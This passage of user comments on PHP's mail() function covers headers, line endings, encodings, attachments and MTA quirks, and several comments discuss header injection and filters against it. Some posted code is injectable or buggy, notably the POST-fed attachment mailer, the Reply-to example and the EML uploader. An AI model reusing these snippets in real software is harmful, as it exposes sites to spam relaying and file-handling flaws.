        $headers .= "X-MSMail-Priority: High\n";
        $headers .= "Importance: High\n";

 $status   = mail($to, $subject, $message,$headers);
?>

Here i've added many headers information including the Priority...
aldertb at XS4ALL dot nl 23-Mar-2009 01:30
I experienced problems with removed euro signs and some other accented letters. The text came from a DB but contained the euro sign etcetera inside the mail function, just as when you would define it as a string. (Did die($newsletter['message']). It was lost in the mail I received though! When I defined the message as a string inside the sending function (overriding text from DB), including euro sign as a single character, I DID receive the email including euro sign!

This was experienced on 2 different email accounts. With one I received no text after the euro sign.

But only when text came from mySQL DB from a longtext Latin1-field...

I installed the pear mail class and this solved the strange problem and could just send text from the DB...
andrei_a at btconnect dot com 18-Mar-2009 06:57
On some shared hosts, when using mail() function with '-f' flag, email may be quietly 'dropped' and not sent at all without any error message returned if '-f' option is used without email address valid on this host.
For example, if used as '-ftest@example.com' the email will be dropped on 1and1 provider. But if you have a 'real' mailbox on the server, for example 'black-hole@example.com', and you use '-fblack-hole@example.com' then the email will be sent. At the same time envelope's 'Return-Path' will be set properly to 'black-hole@example.com' instead of 'test@shared.example.com'.
alex_ramos at sourceforge dot net 27-Feb-2009 07:37
Beware if you're trying to use "-f" or "-r" with the 5th parameter of the PHP mail() function, and you're relying on a plain vanilla install of sendmail on Linux, it won't work. You'll have to either change the sendmail config and add your script's userid to "trusted-users" (easier said than done... good luck with that!), or, remove sendmail and install postfix (much easier).
thelegs at gmail dot com 24-Feb-2009 07:06
As some SMTP servers (for example Argosoft Mail Server for Windows) may lead into troubles when sending a mail to "Full Name <user@domain.tld>" instead of simply "user@domain.tld", the following may be a solution:

<?php
$Result = trim(preg_replace("/([\w\s]+)<([\S@._-]*)>/", " $2", $Input));
?>

I'm not a PCRE guru, but this seems to work pretty good with any number of e-mail addresses, even when the $Input contains "mixed" address definitions (ie. some with Full Name and some without).

Examples:

Input: "User 1 <user1@foo.tld>, User 2 <user2@foo.tld>, user3@foo.tld"
Result: "user1@foo.tld, user2@foo.tld, user3@foo.tld";

Input: "user1@foo.tld, user2@foo.tld"
Result: "user1@foo.tld, user2@foo.tld"

The use of trim is optional, just to keep a nice space after the comma separator. If you don't mind about showing nice recipient lists to the MTA, I think this would work as well:

<?php
$Result = preg_replace("/([\w\s]+)<([\S@._-]*)>/", "$2", $Input);
?>

Anyway I hope that someone could improve these expressions. :)
Erich at gasboysnospam dot net 18-Feb-2009 07:43
if your mail is failing (returns false) be aware that many servers are configured to kill mail going out with a bcc or cc header.

The ideal workaround is to use the smtp functions which servers allow because of its better audit trail. Alternatively call the mail function several times.

I've just spent about four hours trying to work out what I was doing wrong!!
deepakkallungal at gmail dot com 22-Jan-2009 11:34
For solving japanese subject in php mail.

we had a problem was when we give shift-jis encoded test for subject in mail, the mail received  displayed as "BQ Tech\ Ý t H [" in subject where the content in the mail was showing correctly.
we solved it by using this code.

$subject =iconv( "Shift_JIS","EUC-JP", "BQ Tech申込みフォーム");

we can convert like this for japanese encoding not working correctly for japanese text.
orjtor 19-Jan-2009 12:17
This is my solution of problems with Windows Mail on Vista. I got some of the headers in the mail body as plain text. When I removed '\r' and left just '\n' at the end of the two last lines of header it worked. This error didn't show up in my yahoo mail.
<?php
    $body = "<html>\n";
    $body .= "<body style=\"font-family:Verdana, Verdana, Geneva, sans-serif; font-size:12px; color:#666666;\">\n";
    $body = $message;
    $body .= "</body>\n";
    $body .= "</html>\n";

    $headers  = "From: My site<noreply@example.com>\r\n";
    $headers .= "Reply-To: info@example.com\r\n";
    $headers .= "Return-Path: info@example.com\r\n";
    $headers .= "X-Mailer: Drupal\n";
    $headers .= 'MIME-Version: 1.0' . "\n";
    $headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n";

    return mail($recipient, $subject, $message, $headers);
?>
tyagi dot akhil at gmail dot com 04-Jan-2009 06:29
To send XML content in mail use this

Content-Type: text/xml

instead of Content-Type: text/html
Tim Johannessen 14-Dec-2008 06:59
I tried the example provided by [hn at nesland dot net] but it didn't quite work, as the error:
Fatal error: Cannot redeclare mail()
was encountered.

Also, the runkit_function_rename() caused apache to exit with Segmentation fault (11)

This works like a charm:

<?PHP
@dl("runkit.so");
@runkit_function_copy("mail", "__org_mail");
@runkit_function_remove("mail");
@runkit_function_copy("__new_mail", "mail");
@runkit_function_remove("__new_mail");

function __new_mail($to, $subject, $message, $additional_headers = null, $additional_parameters = null) {
   /* do your own mail function checks here */
   return __org_mail($to, $subject, $message, $additional_headers, $additional_parameters);
}
?>

Atleast it worked for me, stripping newlines from $to, $subject, removing unwanted headers from $additional_headers and adding new headers to $additional_headers for debugging - this way I'll be able to track the origin of the mail using the headers.

You'll need enable_dl = On in your php.ini and also runkit.internal_override = "1"

I wanted to remove the execution of __org_mail(), so I tried to add this to disable_functions in php.ini but that didn't seem to work, so be aware that the original function can still be executed, and found by using get_defined_functions().
php at ontheroad dot net dot nz 03-Nov-2008 09:00
Another possible cause for the "501 5.5.4 Invalid Address" type errors when sending mail from Windows is specifying BCC or CC parameters with no value.
molotster on google mail com 13-Oct-2008 01:03
Note, that single line should not contain more than 78 character, but is not allowed to contain more than 998 characters.

The possible consequences are:
Over 78 - clients are allowed to display the message in a "harder to read" way.
Over 998 - clients and servers are allowed to drop the message or cause any buffer-limit error.

See:
http://www.faqs.org/rfcs/rfc2822 part 2.1.1.
webmaster at plumage dot nl 01-Sep-2008 02:53
The work-around for a large quantity of recipients is putting the adresses in the header-section as Bcc adresses.
In this way the mail()-function opens and closes the SMTP connection only once:

<?php
$count_recip= count($recip);//where $recip represents an array of mail-adresses, from MySql-query or otherwise
$count='0';
$headers.="Bcc: ";
while($count < $count_recip){
$headers.=$recip[$count].", ";
$count ++;
}
$headers.="admin@example.com\r\n";
?>
bob 15-Jul-2008 01:51
If the Cc or Bcc lines appear in the message body, make sure you're separating header lines with a new line (\n) rather than a carriage return-new line (\r\n). That should come at the very end of the headers.
akam 28-May-2008 06:55
There differenece in body, headers of email (with attachment, without attachment), see this complete example below:
work great for me (LINUX , WIN) and (Yahoo Mail, Hotmail, Gmail, ...)
<?php
$to      = $_POST['to'];
$email   = $_POST['email'];
$name    = $_POST['name'];
$subject = $_POST['subject'];
$comment = $_POST['message'];

$To          = strip_tags($to);
$TextMessage =strip_tags(nl2br($comment),"<br>");
$HTMLMessage =nl2br($comment);
$FromName    =strip_tags($name);
$FromEmail   =strip_tags($email);
$Subject     =strip_tags($subject);

$boundary1   =rand(0,9)."-"
.rand(10000000000,9999999999)."-"
.rand(10000000000,9999999999)."=:"
.rand(10000,99999);
$boundary2   =rand(0,9)."-".rand(10000000000,9999999999)."-"
.rand(10000000000,9999999999)."=:"
.rand(10000,99999);

for($i=0; $i < count($_FILES['youfile']['name']); $i++){
if(is_uploaded_file($_FILES['fileatt']['tmp_name'][$i]) &&
   !empty($_FILES['fileatt']['size'][$i]) &&
   !empty($_FILES['fileatt']['name'][$i])){

$attach      ='yes';
$end         ='';

   $handle      =fopen($_FILES['fileatt']['tmp_name'][$i], 'rb');
   $f_contents  =fread($handle, $_FILES['fileatt']['size'][$i]);
   $attachment[]=chunk_split(base64_encode($f_contents));
   fclose($handle);

$ftype[]       =$_FILES['fileatt']['type'][$i];
$fname[]       =$_FILES['fileatt']['name'][$i];
}
}

/***************************************************************
 Creating Email: Headers, BODY
 1- HTML Email WIthout Attachment!! <<-------- H T M L ---------
 ***************************************************************/
#---->Headers Part
$Headers     =<<<AKAM
From: $FromName <$FromEmail>
Reply-To: $FromEmail
MIME-Version: 1.0
Content-Type: multipart/alternative;
    boundary="$boundary1"
AKAM;

#---->BODY Part
$Body        =<<<AKAM
MIME-Version: 1.0
Content-Type: multipart/alternative;
    boundary="$boundary1"

This is a multi-part message in MIME format.

--$boundary1
Content-Type: text/plain;
    charset="windows-1256"
Content-Transfer-Encoding: quoted-printable

$TextMessage
--$boundary1
Content-Type: text/html;
    charset="windows-1256"
Content-Transfer-Encoding: quoted-printable

$HTMLMessage

--$boundary1--
AKAM;

/***************************************************************
 2- HTML Email WIth Multiple Attachment <<----- Attachment ------
 ***************************************************************/

if($attach=='yes') {

$attachments='';
$Headers     =<<<AKAM
From: $FromName <$FromEmail>
Reply-To: $FromEmail
MIME-Version: 1.0
Content-Type: multipart/mixed;
    boundary="$boundary1"
AKAM;

for($j=0;$j<count($ftype); $j++){
$attachments.=<<<ATTA
--$boundary1
Content-Type: $ftype[$j];
    name="$fname[$i]"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
    filename="$fname[$j]"

$attachment[$j]

ATTA;
}

$Body        =<<<AKAM
This is a multi-part message in MIME format.

--$boundary1
Content-Type: multipart/alternative;
    boundary="$boundary2"

--$boundary2
Content-Type: text/plain;
    charset="windows-1256"
Content-Transfer-Encoding: quoted-printable

$TextMessage
--$boundary2
Content-Type: text/html;
    charset="windows-1256"
Content-Transfer-Encoding: quoted-printable

$HTMLMessage

--$boundary2--

$attachments
--$boundary1--
AKAM;
}

/***************************************************************
 Sending Email
 ***************************************************************/
$ok=mail($To, $Subject, $Body, $Headers);
echo $ok?"<h1> Mail Sent</h1>":"<h1> Mail not SEND</h1>";
?>
richard at richard-sumilang dot com 22-Mar-2008 12:12
If you are using the sendmail app from an exim package or something you don't really need to change the normal parameters PHP gives it (-t -i) as other posts described.

I just added "-f myemail@example.com" and it worked.

One thing that got me stuck for a few hours was trying to figure out why the return-path was set as the user (user running php) and not what I was setting it with the -f option then I later found at that in order to forcefully set the return-path the user account running the command must be in exim's trusted users configuration! It helps to add trusted_groups as well then everything works fine :)
- Richard Sumilang
mortoray at ecircle-ag dot com 10-Jan-2008 07:35
Apparently if using the mbstring library, and using overriden functions, the "mail" command appears to use "Content-Transfer-Encoding: BASE64" by default.  Which if you combine it with PEAR Mail_Mime you'll get mails that, although they appear RFC compliant, not mailer can read correctly.

To fix this it appears you should add a fixed header in the mail command (this one assumes the pear mime module is 7bit clean, perhaps 8bit would also be fine)

<?php $headers['Content-Transfer-Encoding'] = '7bit'; ?>
d 25-Dec-2007 01:39
When sending html formatted mails to gmail accounts you might notice that the html is shown in plain text. This happens when you send from an unix system and gmail treats the "\r\n" line ends in a wrong way. Use "\n" instead at it will be fine.

Content-Type: text/html; charset=iso-8859-1\n
instead of
Content-Type: text/html; charset=iso-8859-1\r\n
hn at nesland dot net 02-Nov-2007 04:37
Tired of idiots and imbeciles who creates unsecure php-code and lets spammers abuse mail()? Try this dirty trick:

With auto_prepend, prepend this file:
<?php
// You need to install pecl-module, runkit.
dl("runkit.so");

// We could rename the function, but that currently makes my apache segfault, but this works :-P
runkit_function_copy ( "mail","intmail" );
runkit_function_remove( "mail" );

function mail( $to, $subject, $message, $additional_headers = null, $additional_parameters = null ) {

    $___domain = $_SERVER['SERVER_NAME'];

    $fp = fopen("/tmp/my_super_mail_logg", "a");
    fwrite( $fp, date("d.m.y H:i:s") . " " . $___domain . ": $to / $subject\n");
    fclose( $fp );

    return intmail( $to, $subject, $message, $additional_headers, $additional_parameters );
}
?>

You probably shouldn't log to /tmp, or any other place as the webserver-user, see syslog-functions ;)

And of course you can manipulate the different parameters, like adding custom headers to each email (For instance; "X-From-Web: {$_SERVER['SERVER_NAME']}")..
phpcoder at cyberpimp dot ig3 dot net 27-Sep-2007 08:51
In addition to the $to parameter restrictions on Windows (ie. address can not be in "name <user@example.com>" format), the same restrictions apply to the parsed Cc and Bcc headers of the $additional_headers parameter.

However, you can include a To header in $additional_parameters which lists the addresses in any RFC-2822 format.  (For display purposes only.  You still need to list the bare addresses in the $to parameter.)
Gianluigi_Zanettini-MegaLab.it 09-Aug-2007 11:57
Please note that using an address in this format "Zane, CEO - MegaLab.it" <myaddrr@mydomain> (" are needed due to comma) works as expected under *nix, but WON'T WORK under Windows.

This is an example

<?php
mail("\"Zane, CEO - MegaLab.it\" <myaddrr@mydomain>", "prova da test_zane", "dai funziona...");
?>

It works under *unix, but it doensn't under Win: different error are reported:

Warning: mail() [function.mail]: SMTP server response: 553 5.0.0 <"Zane>... Unbalanced '"'

Warning: mail() [function.mail]: SMTP server response: 501 5.5.4 Invalid Address
J.Halmu 20-Jun-2007 04:10
I use text/plain charaset=iso-8859-1 and get bad headers complain from amavis. This helped me:

[code]
$subject = mb_encode_mimeheader('ääööö test test öäöäöä','UTF-8');
[/code]

php-version 5.2.2
Alex Jaspersen 30-May-2007 11:03
For qmail users, I have written a function that talks directly to qmail-queue, rather than going through the sendmail wrapper used by mail(). Thus it allows more direct control over the message (for example, you can adapt the function to display "undisclosed recipients" in to the To: header). It also performs careful validation of the e-mail addresses passed to it, making it more difficult for spammers to exploit your scripts.

Please note that this function differs from the mail() function in that the from address must be passed as a _separate_ argument. It is automatically put into the message headers and _does not_ need to be included in $additional_headers.

$to can either be an array or a single address contained in a string.
$message should not contain any carriage return characters - only linefeeds.

No validation is performed on $additional_headers. This is mostly unnecessary because qmail will ignore any additional To: headers injected by a malicious user. However if you have some strange mail setup it might be a problem.

The function returns false if the message fails validation or is rejected by qmail-queue, and returns true on success.

<?php
function qmail_queue($to, $from, $subject, $message, $additional_headers = "")
{
    // qmail-queue location and hostname used for Message-Id
    $cmd = "/var/qmail/bin/qmail-queue";
    $hostname = trim(file_get_contents("/var/qmail/control/me"));

    // convert $to into an array
    if(is_scalar($to))
        $to = array($to);

    // BEGIN VALIDATION
    // e-mail address validation
    $e = "/^[-+\\.0-9=a-z_]+@([-0-9a-z]+\\.)+([0-9a-z]){2,4}$/i";
    // from address
    if(!preg_match($e, $from)) return false;
    // to address(es)
    foreach($to as $rcpt)
    {
        if(!preg_match($e, $rcpt)) return false;
    }

    // subject validation (only printable 7-bit ascii characters allowed)
    // needs to be adapted to allow for foreign languages with 8-bit characters
    if(!preg_match("/^[\\040-\\176]+$/", $subject)) return false;

    // END VALIDATION

    // open qmail-queue process
    $dspec = array
    (
        array("pipe", "r"), // message descriptor
        array("pipe", "r") // envelope descriptor
    );
    $pipes = array();
    $proc = proc_open($cmd, $dspec, $pipes);
    if(!is_resource($proc)) return false;

    // write additional headers
    if(!empty($additional_headers))
    {
        fwrite($pipes[0], $additional_headers . "\n");
    }

    // write to/from/subject/date/message-ID headers
    fwrite($pipes[0], "To: " . $to[0]); // first recipient
    for($i = 1; $i < sizeof($to); $i++) // additional recipients
    {
        fwrite($pipes[0], ", " . $to[$i]);
    }
    fwrite($pipes[0], "\nSubject: " . $subject . "\n");
    fwrite($pipes[0], "From: " . $from . "\n");
    fwrite($pipes[0], "Message-Id: <" . md5(uniqid(microtime())) . "@" . $hostname . ">\n");
    fwrite($pipes[0], "Date: " . date("r") . "\n\n");
    fwrite($pipes[0], $message);
    fwrite($pipes[0], "\n");
    fclose($pipes[0]);

    // write from address and recipients
    fwrite($pipes[1], "F" . $from . "\0");
    foreach($to as $rcpt)
    {
        fwrite($pipes[1], "T" . $rcpt . "\0");
    }
    fwrite($pipes[1], "\0");
    fclose($pipes[1]);

    // return true on success.
    return proc_close($proc) == 0;
}
?>
Josh 09-Mar-2007 10:05
While trying to send attachments I ran into the problem of having the beginning part of my encoded data being cut off.

A fact that I didn't see mentioned anywhere explicitly (except maybe in the RFC, which admittedly I didn't read fully) was that two newlines are required before you start the encoded data:

Content-Transfer-Encoding: base64\n
Content-Type: application/zip; name="test_file.zip"\n
\n  //<--- if this newline isn't here your data will get cut off
DATA GOES HERE
hans111 at yahoo dot com 01-Mar-2007 08:54
I had a lot of trouble trying to send multipart messages to gmail accounts until I discovered gmail does not like carriage returns, even under unix I have to use only new lines (\n) and forget about the (\r) . Other email clients such as eudora, outlook, hotmail or yahoo seem not to have issues about the "missing" \r . Hope it helps.
bigtree at dontspam dot 29a dot nl 28-Feb-2007 04:46
Since lines in $additional_headers must be separated by \n on Unix and \r\n on Windows, it might be useful to use the PHP_EOL constant which contains the correct value on either platform.

Note that this variable was introduced in PHP 5.0.2 so to write portable code that also works in PHP versions before that, use the following code to make sure it exists:

<?php
if (!defined('PHP_EOL')) define ('PHP_EOL', strtoupper(substr(PHP_OS,0,3) == 'WIN') ? "\r\n" : "\n");
?>
admin at chatfamy dot com 30-Jan-2007 12:37
One thing it can be difficult to control with this function is the envelope "from" address. The envelope "from" address is distinct from the address that appears in the "From:" header of the email. It is what sendmail uses in its "MAIL FROM/RCPT TO" exchange with the receiving mail server. It also typically shows up in the "Return-Path:" header, but this need not be the case. The whole reason it is called an "envelope" address is that appears _outside_ of the message header and body, in the raw SMTP exchange between mail servers.

The default envelope "from" address on unix depends on what sendmail implementation you are using. But typically it will be set to the username of the running process followed by "@" and the hostname of the machine. In a typical configuration this will look something like apache@box17.example.net.

If your emails are being rejected by receiving mail servers, or if you need to change what address bounce emails are sent to, you can change the envelope "from" address to solve your problems.

To change the envelope "from" address on unix, you specify an "-r" option to your sendmail binary. You can do this globally in php.ini by adding the "-r" option to the "sendmail_path" command line. You can also do it programmatically from within PHP by passing "-r address@example.com" as the "additional_parameters" argument to the mail() function (the 5th argument). If you specify an address both places, the sendmail binary will be called with two "-r" options, which may have undefined behavior depending on your sendmail implementation. With the Postfix MTA, later "-r" options silently override earlier options, making it possible to set a global default and still get sensible behavior when you try to override it locally.

On Windows, the the situation is a lot simpler. The envelope "from" address there is just the value of "sendmail_from" in the php.ini file. You can override it locally with ini_set().
tdaniel at univ dot haifa dot ac dot il 26-Oct-2006 04:17
I had trouble getting multiple emails sent for Outlook accounts (a single PHP page performed 2 mail() calls).

The PHP mail() function works correctly, but the same mails that were recieved on a private POP3 server were randomly missing by our intranet Outlook exchange server.

If you have the same problem, try to verify that the "Message-ID: " is unique at the $headers string. i.e.

<?php
$headers = [...] .
"Message-ID: <". time() .rand(1,1000). "@".$_SERVER['SERVER_NAME'].">". "\r\n" [...];
?>

(rand() is used only for demonstration purposes. a better way is to use an index variable that increments (i++) after each mail)

I noticed that when multiple messeges were sent simultaneously, the message-id was the same (probably there was no miliseconds differential). My guess is that Outlook is collating messages with the same message-ID; a thing that causes only one email to pass to the Outlook inbox instead of a few.
johniskew2 19-Sep-2006 09:28
An important rule of thumb, because it seems few really follow it and it can alleviate so many headaches: When filtering your email headers for injection characters use a regular expression to judge whether the user's input is valid.  For example to see if the user entered a valid e-mail address use something like  [a-zA-Z0-9._%-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,4}.  Dont try to filter out bad characters (like searching for LF or CR), because you will ALWAYS miss something.  You can be sure your application is more secure going this route....provided the regular expression is valid!  This same point goes for any sort of form input not just for sending out emails.
thomas at p-devion dot de 23-Aug-2006 10:46
Change the function addattachment for multipartmail to auto detect the mime_content_type ...

<?php
     function addattachment($file){
         $fname = substr(strrchr($file, "/"), 1);
         $data = file_get_contents($file);
         $i = count($this->parts);
         $content_id = "part$i." . sprintf("%09d", crc32($fname)) . strrchr($this->to_address, "@");
         $this->parts[$i] = "Content-Type: ".mime_content_type($file)."; name=\"$fname\"\r\n" .
                           "Content-Transfer-Encoding: base64\r\n" .
                           "Content-ID: <$content_id>\r\n" .
                           "Content-Disposition: inline;\n" .
                           " filename=\"$fname\"\r\n" .
                           "\n" .
                           chunk_split( base64_encode($data), 68, "\n");
         return $content_id;
     }
?>
panoramical at gmail dot com 27-Jul-2006 04:19
Searched for ages on the internet trying to find something that parses EML files and then sends them...for all of you who want to send an EML files you first have to upload it, read it, then delete it. Here's my function...it's specialised for a single form where the user uploads the EML file.

<?php

if(isset($_POST['submit']))
{

// Reads in a file (eml) a user has inputted
function eml_read_in()
{

    $file_ext = stristr($_FILES['upload']['name'], '.');

    // If it is an eml file
    if($file_ext == '.eml')
    {

        // Define vars
        $dir = 'eml/';
        $file = $dir.basename($_FILES['upload']['name']);
        $carry = 'yes';

        // Try and upload the file
        if(move_uploaded_file($_FILES['upload']['tmp_name'], $file))
        {

            // Now attempt to read the file
            if($eml_file = file($file))
            {

                // Create the array to store preliminary headers
                $headers = array();
                $body = '';
                $ii = -1;

                // For every line, carry out this loop
                foreach($eml_file as $key => $value)
                {

                    $pattern = '^<html>';

                    if(((eregi($pattern, $value)))||($carry == 'no'))
                    {

                        // Stop putting data into the $headers array
                        $carry = 'no';
                        $i++;
                        $body .= $value;

                    }

                    else
                    {

                        // Separate each one with a colon
                        if(($eml_file_expl = explode(':', $value))&&($carry == 'yes'))
                        {

                            // The row has been split in half at least...
                            if(isset($eml_file_expl[1]))
                            {

                                // Put it into the preliminary headers
                                $headers[$eml_file_expl[0]] = $eml_file_expl[1];

                                // There might be more semicolons in it...
                                for($i=2;$i<=$count;$i++)
                                {

                                    // Add the other values to the header
                                    $headers[$eml_file_expl[0]] .= ':'.$eml_file_expl[$i];

                                }

                            }

                        }

                    }

                }

                // Clear up the headers array
                $eml_values = array();
                $eml_values[to] = $headers[To];
                $eml_values[from] = $headers[From];
                $eml_values[subject] = $headers[Subject];
                $eml_values['reply-to'] = $headers['Reply-To'];
                $eml_values['content-type'] = $headers['Content-Type'];
                $eml_values[body] = $body;

                unlink($file);

                return $eml_values;

            }

        }

        else
        {

            return '<p>File not uploaded - there was an error</p>';

        }

    }

}

// Takes information automatically from the $_FILES array...
$eml_pattern = eml_read_in()

// Headers definable...through eml_read_in() again, but I'm guessing they'll be the same for each doc...

if(mail($eml_pattern[to], $eml_pattern[subject], $eml_pattern[content], $headers)) echo 'Mail Sent';

?>
24-Jul-2006 08:55
correction for class multipartmail

<?php
function addmessage($msg = "", $ctype = "text/plain"){
         $this->parts[0] ....
?>

if you are adding attachment first and then addmessage you can easy overwrite added attachment - better use

<?php

function addmessage($msg = "", $ctype = "text/plain"){
         $this->parts[count($this->parts)] ....

?>
sander at cartel dot nl 20-Jul-2006 03:26
I found out that a ms server (ESMTP MAIL Service, Version: 5.0.2195.6713) also had the problem using CRLF in the headers:

If messages are not received, try using a LF (\n) only. Some poor quality Unix mail transfer agents replace LF by CRLF automatically (which leads to doubling CR if CRLF is used). This should be a last resort, as it does not comply with RFC 2822.

The suggested fix works.

Sander
rsjaffe at gmail dot com 21-May-2006 02:10
Here's my way of detecting an attempt to hijack my mail form.

<?php #requires PHP 5 or greater
$request = array_map('trim',($_SERVER['REQUEST_METHOD'] == "POST") ? $_POST : $_GET) ;

//check for spam injection
$allfields = implode('',$request) ;
$nontext = $request ;
unset($nontext['message'] );
$nontextfields = implode ('',$nontext) ;
if ((strpos ($nontextfields,"\\r")!==false) ||
    (strpos ($nontextfields,"\\n")!==false) ||
    (stripos ($allfields,"Content-Transfer-Encoding")!==false) ||
    (stripos ($allfields,"MIME-Version")!==false) ||
    (stripos ($allfields,"Content-Type")!==false) ||
    ($request['checkfield']!=$check) ||
    (empty($_SERVER['HTTP_USER_AGENT']))) die('Incorrect request') ; //stop spammers ?>

First, I put the data into an array $request, then set up two strings: $allfields, which is just all fields concatenated, then $nontext, which excludes those fields in which \r\n is allowed (e.g., the message body). Any form field in which \r\n is allowed should be unset in the $nontext array before the second implode function (my message field is called 'message', so I unset that). I also include a hidden field in the form with a preset value ('checkfield', $check), so I can see if something is trying to alter all fields.

This is a combination of a lot of things mentioned in the messages below...
Nimlhug 11-Mar-2006 10:41
As noted in other, well, notes; the "additional headers" parameter can be easily exploited, when doing things like:

<?php
  mail( $_POST['to'], $_POST['subject'], $_POST['message'], 'Reply-to: '.$_POST['from']."\r\n" );
?>

An easy way of fixing this, is removing CRLFs from the header-strings, like so:

<?php
  $_POST['from'] = str_replace( "\r\n", '', $_POST['from'] );
?>

This way, the extra data will be part of the previous header.
junaid at techni-serve dot com 07-Mar-2006 09:49
Note: on class "multipartmail".  Modify the function buildmessage with the following and it will work great.

function buildmessage(){
         $this->message = "This is a multipart message in mime format.\n";
         $cnt = count($this->parts);
         for($i=0; $i<$cnt; $i++){
           $this->message .= "--" . $this->boundary . "\n" .$this->parts[$i];
         }
        $this->message .= "--" . $this->boundary . "-- \n";
     }

Thank for all the help.
Ben Cooke 15-Dec-2005 05:34
Note that there is a big difference between the behavior of this function on Windows systems vs. UNIX systems. On Windows it delivers directly to an SMTP server, while on a UNIX system it uses a local command to hand off to the system's own MTA.

The upshot of all this is that on a Windows system your  message and headers must use the standard line endings \r\n as prescribed by the email specs. On a UNIX system the MTA's "sendmail" interface assumes that recieved data will use UNIX line endings and will turn any \n to \r\n, so you must supply only \n to mail() on a UNIX system to avoid the MTA hypercorrecting to \r\r\n.

If you use plain old \n on a Windows system, some MTAs will get a little upset. qmail in particular will refuse outright to accept any message that has a lonely \n without an accompanying \r.
fnjordy at gmail dot com 05-Oct-2005 02:54
Another example of sending a utf-8 HTML mail:

<?php
$to = 'bob@example.com';
$subject = 'Wakeup bob!';
$message = '<b>yo</b>, whassup?';
$headers = "From: server@example.com\r\n" .
        'X-Mailer: PHP/' . phpversion() . "\r\n" .
        "MIME-Version: 1.0\r\n" .
        "Content-Type: text/html; charset=utf-8\r\n" .
        "Content-Transfer-Encoding: 8bit\r\n\r\n";

// Send
mail($to, $subject, $message, $headers);
?>
fontajos at phpeppershop dot com 21-Sep-2005 08:24
Problems with Microsoft Exchange and PHP as ISAPI-module

We found out, that if you want to send multipart mime emails using the PHP mail-function on a Windows box using a Microsoft Exchange server, you have to use separate containers for the mail body and the mail header.

In many examples like in http://www.zend.com/zend/trick/html-email.php or in the book PHP developers cookbook you find html multipart/alternative mailing solutions that build the mime header and the mail body into one PHP variable and send this as fourth argument (header) to the PHP mail-function. This works fine on most systems but not on the above mentioned combination.

We found a rather trivial solution: Simply split the mime mail header and the mail body into two separate variables and give them separately to the PHP mail function, example:

<?php
//add From: header
$headers = "From: webserver@localhost\r\n";

//specify MIME version 1.0
$headers .= "MIME-Version: 1.0\r\n";

//unique boundary
$boundary = uniqid("HTMLDEMO");

//tell e-mail client this e-mail contains//alternate versions
$headers .= "Content-Type: multipart/mixed; boundary = $boundary\r\n\r\n";

//plain text version of message
$body = "--$boundary\r\n" .
   "Content-Type: text/plain; charset=ISO-8859-1\r\n" .
   "Content-Transfer-Encoding: base64\r\n\r\n";
$body .= chunk_split(base64_encode("This is the plain text version!"));

//HTML version of message
$body .= "--$boundary\r\n" .
   "Content-Type: text/html; charset=ISO-8859-1\r\n" .
   "Content-Transfer-Encoding: base64\r\n\r\n";
$body .= chunk_split(base64_encode("This the <b>HTML</b> version!"));

//send message
mail("root@localhost", "An HTML Message", $body, $headers);
?>
GwarDrazul 15-Sep-2005 04:01
The article mentioned below is quite good to understand the problem of header injection. However, it suggests the following as a solution: look for "\n" and "\r" inside your user input fields (especially in those used for the $header param) and, if found reject the mail.

Allthough this will probably work I still believe it is better to have a "white list" of allowed characters instead of a "black list" with forbidden characters.

Example:
If you want a user to enter his name, then allow characters only!
If you want a user to enter his email adress, then check if the entry is a valid email adress.

Doing so might automatically solve problems which you didn't think of when you created the "black list". For SMTP headers colons are needed. If you check for a valid email adress the hacker won't be able to enter colons inside that form field.

I suggest using regular expressions for those checks.

For more information about regular expressions see:
http://www.regular-expressions.info/
msheldon at desertraven dot com 15-May-2005 12:09
Just a comment on some of the examples, and as a note for those who may be unaware. The SMTP RFC 822 is VERY explicit in stating that \r\n is the ONLY acceptable line break format in the headers, though is a little vague about the message body. While many MTAs will deal with just \n, I've run accross plenty of them that will exhibit "interesting" behaviours when this happens. Those MTAs that are strict in compliance will definitely break when header lines are terminated with only \n. They will also most likely break if the body of the message contains more than 1000 consecutive characters without a \r\n.*

Note that RFC 821 is a little more clear in defining:
"line
      A a sequence of ASCII characters ending with a <CRLF>."

RFC 821 makes no distinction between header lines and message body lines, since both are actually transmitted during the DATA phase.

Bottom line, best practice is to be sure to convert any bare \n characters in the message to \r\n.

* "The maximum total length of a text line including the <CRLF> is 1000 characters" (RFC 821)
jonte at macnytt dot com 24-Apr-2005 04:16
Users of Mac OS X Server need to activate SMTP part of the Mailserver before this is working.

Also note that if the ISP has blocked port 25 outgoing, you run into problems. You can find more info about this in the SMTP server log in Server Admin application if you run OSX Server.
18-Apr-2005 12:20
A co-worker of mine had a problem where she needed to have a backslash in the header. Basically, the name of the company has a couple of backslashes in it. However, when the recipient was receiving the email, the "From:" part had the backslashes removed. We got it to work but placing three backslashes whenever we wanted one to show up. I'd assume that the mail server was modifying the headers and this is not really an issue with php. Anyway, thought this might help someone.
benles at bldigital dot com 20-Mar-2005 09:47
I get a 550 error when using mail() with this To format:

User <user@example.com>

When it's changed to just the bare email, it works fine. Just FYI that some mail servers may behave this way.
php dot net at schrecktech dot com 02-Mar-2005 04:07
When sending MIME email make sure you follow the documentation with the "70" characters per line...you may end up with missing characters...and that is really hard to track down...
jdephix at hotmail dot com 02-Mar-2005 12:25
How to add multiple attachment to an email:

An email can be split into many parts separated by a boundary followed by a Content-Type and a Content-Disposition.

The boundary is initialized as follows:
<?php
$boundary = '-----=' . md5( uniqid ( rand() ) );
?>

You can attach a Word document if you specify:
<?php
$message .= "Content-Type: application/msword; name=\"my attachment\"\n";
$message .= "Content-Transfer-Encoding: base64\n";
$message .= "Content-Disposition: attachment; filename=\"$theFile\"\n\n";
?>

When adding a file you must open it and read it with fopen and add the content to the message:
<?php
$path = "whatever the path to the file is";
$fp = fopen($path, 'r');
do //we loop until there is no data left
{
        $data = fread($fp, 8192);
        if (strlen($data) == 0) break;
        $content .= $data;
      } while (true);
$content_encode = chunk_split(base64_encode($content));
$message .= $content_encode . "\n";
$message .= "--" . $boundary . "\n";
?>

Add the needed headers and send!
<?php
$headers  = "From: \"Me\"<me@example.com>\n";
$headers .= "MIME-Version: 1.0\n";
$headers .= "Content-Type: multipart/mixed; boundary=\"$boundary\"";
mail('myAddress@example.com', 'Email with attachment from PHP', $message, $headers);
?>

Finally, if you add an image and want it displayed in your email, change the Content-Type from attachment to inline:

<?php
$message .= "Content-Disposition: inline; filename=\"$theFile\"\n\n";
?>

Enjoy!
grey at greywyvern dot moc 18-Feb-2005 12:47
